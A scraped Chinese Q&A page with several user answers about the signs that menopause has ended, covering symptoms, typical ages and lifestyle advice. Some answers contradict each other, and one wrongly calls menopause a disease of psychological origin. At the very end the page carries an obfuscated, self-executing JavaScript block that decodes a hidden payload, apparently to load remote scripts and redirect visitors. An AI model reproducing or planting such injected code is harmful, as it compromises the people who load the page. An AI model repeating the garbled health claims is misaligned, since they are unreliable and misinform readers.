推荐回答(5个)
更年期对于女性朋友来讲的话,是有一点的麻烦的。由于绝经是需要持续好几个月的,并且会伴随许多症状的。比如说潮热,容易生气,每天都觉得自己特别的烦躁,经常睡不着觉,身体也会时不时的出现疼痛的症状,这些症状还是会一直伴随自己。在更年期的时期,这些症状都会随之而来,然而随着更年期的结束,伴随着的这些症状也会消失,因此,如果这些症状都消失了的话,那就表明更年期结束了。

更年期多半是出现在四十五岁到五十五岁的时候,百分之八十多的女性都会出现轻重不同的症状的。有些人在绝经过渡时期症状就已经开始出现了,并且会持续到绝经以后的两到三年。少数的人会持续到绝经后的五到十年。症状比较轻的女性是能自我缓解的,如果症状比较严重的话,这就不能自我缓解了,就需要通过治疗来缓解。

在到了四十多的年纪的时候,女性朋友一定要了解关于女性更年期综合症比较常见的表现,要让自己心里有数,不至于怀疑自己得了别的重症。其次就是要缓解自身的心理压力,让自己具备应对这些症状的能力。明白这是因为随着年龄增加,内分泌的变化引起的正常反应,当我们适应了新的内分泌功能后,症状会逐渐消失,所以不必要担心,要保持心情舒畅。

最后我还想说的就是,在女性朋友到了更年期以后,必须要保持自己的生活规律,一定要劳逸结合才行。这样能够保持人体有充足的睡眠,但是不能一直在床上休息。如果身体状况还不错的话,可以进行做一些力所能及的家务和工作。
更年期的到来,有的人能够平稳过渡,有的人就不能,把生活过成了一团糟。最主要的表现就是情绪激动,好怒、好哭、阴晴不定,让家人跟着都觉得头疼,无法收拾。更年期这个特殊的时期结束也来得特别快,随着月经的停止,情绪的平稳,身体各项机能的正常,也就代表着更年期已经结束了。

我爱人常喜欢和我开玩笑,说我现在是“更年期提前”。我这个人脾气急躁,前几年还能控制好脾气,现在因为孩子的学习和生活上的事,经常弄得我很抓狂。后来,我身体也出了一些问题,就去看了医生。诊断结果真的是和更年期有关系,因为长期处于紧张、慌乱的情绪之下,所以会导致内分泌失调,情绪异常激动,失眠、多梦、喜怒无常等症状。
面对这种压力,就要自己学会调整心态,放轻松去面对一切事情。相信自己,没有过不去的坎,没有趟不过去的河。渐渐的,情绪就会平稳了。女人要做到自己的情绪自己做主,就能成功把控自己的更年期平安过度。
随着情绪的慢慢平稳,身体出现的心动过速,莫名的心慌,盗汗等现象,也就会慢慢消失。以前,有朋友说失眠严重,脱发严重,现在,她的身体特别好,吃得香,睡得着,是一个特别幸福的女人。这一切都说明更年期结束了,女人就好好享受幸福生活吧。
很多女性到了40几岁的时候就很容易进入更年期,其实更年期就是一种疾病的状态,并不是说身体的什么原因,而是心理上的一些因素。
有些女性到了40几岁的时候就会被家里的人嫌弃,因为那个时候脾气会很暴躁很差,经常骂自己的家人。所以自己的家人都会说自己是更年期到了,不会跟他们斤斤计较。

身体的什么信息会告诉我们自己,这个女人的更年期已经过了。第一就是因为脾气变好不再那么暴躁,这就是最明显的改变。
我们知道到了更年期的妇女在性情和脾气方面是大有改变的。如果他的脾气变得跟以前一样变好了,那么就说明他的更年期已经度过了。其实对于女性来说,他们自己也不想这样,毕竟这是他们必须要度过的一段时期,作为家人来说我们也应该理解和包容。

而且在更年期经常出现失眠的情况。如果成功顺利的度过了更年期的话,那么失眠的情况肯定也有所好转的,每天睡觉也要轻松很多。处于更年期经常失眠的话,那么这个人很容易衰老的。
其实更年期也是向老年期的一个过渡时期,如果更年期过了的话,那么相当于就慢慢的要进入老年期了。

到了老年期的人,那么他的皮肤肯定会比平时要松弛很多,而且慢慢的她的皮肤光泽度也会暗淡。对于女人来说,这一时期是非常重要的。如果没有成功度过的话,那么可能到了老年期它的变化会更加的快。
这个题目有问题,应该是说更年期出现哪些现象,表明着更年期的结束,如果说是症状的话,意味着有主观的异常感觉和客观的病态改变。可能意味着更年期并没有结束,或者另外的引发了其他的疾病。
作为女性来讲,我们通常都是以月经绝经作为更年期的标志。但是月经绝经绝对不是更年期的结束。
更年期的结束是性腺功能表现为卵巢功能完全丧失。

更年期大约在绝经前的十年前,就是40岁左右开始,绝经以后的十年卵巢功能,才逐渐的完全消失,人就进入了老年期。但是普通的人中,通常是前后加起来有5年到10年左右。
那么更年期有哪些症状呢?月经周期的改变,不规则,由于血管舒缩症状,表现为潮热出汗。
另外更年期综合症,伴随着精神神经症状,比如说心情兴奋或者十分的抑郁。那么在泌尿生殖系统会出现一些改变。容易尿频尿急,容易感染炎症。那么在心血管系统方面,会伴随着胸闷,心悸,轻度的高血压,还有骨质疏松等症状。而且经常性的焦虑不安,容易动怒,烦躁。

那么更年期完全度过之后,这些难受的症状就会消失。人生进入老年期。这个时候心态会非常的平和。面貌会变得安详。
为了平稳的度过更年期,一定要小心观察自己的身体状态。随时咨询医生,让他们用药物改善身体的不适。然后配合适当的饮食和保健,平稳的走向人生的秋天
众所周知,女性都要经历更年期,在这个时期里,女性的身体会发生很多改变,一般情况下,在更年期期间,女性的情绪波动会比较大,甚至还会莫名其妙的发脾气,当女性进入老年期的时候,更年期也就结束了。

正常情况下,女人最佳的绝经年龄是在45到55岁过早或者是过晚绝经,对女人身体都会有很大的影响,而且绝经的时间一般会持续几个月,在整个绝经的过程当中,女人脾气会变得异常的暴躁,而且绝经期的女人还特别容易出现抑郁,多汗,身体潮热等一些异常的情况,甚至有些女人的更年期症状可能会持续好几年的时间,而在这几年当中最常见的一种现象就是女人身体会潮热,而且大部分女人在更年期的时候会异常的烦躁。

更年期妇女必须注意她们的正常饮食。最好均衡饮食,少吃油腻和高糖的食物。正常饮食最好保证少油少盐,并进行一些适当的体育锻炼,如和家人散步或做一些有氧运动。身体会变得更健康,平时有必要及时补充一些富含钙的食物,以避免女性骨质疏松。

更年期实际上是一个过渡期,女性从成熟到老年的过渡期。当这个过渡期结束时,妇女进入老年,老年的一些特征将会出现。因此,也可以说更年期在女性进入老年时结束。具体来说就是,感知能力的变化,比如视力减退,听力减退,反应迟缓,一般60岁左右可以出现这种症状。进入这个时期,人生就开始了新的阶段,也就意味着可以和更年期道别了。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();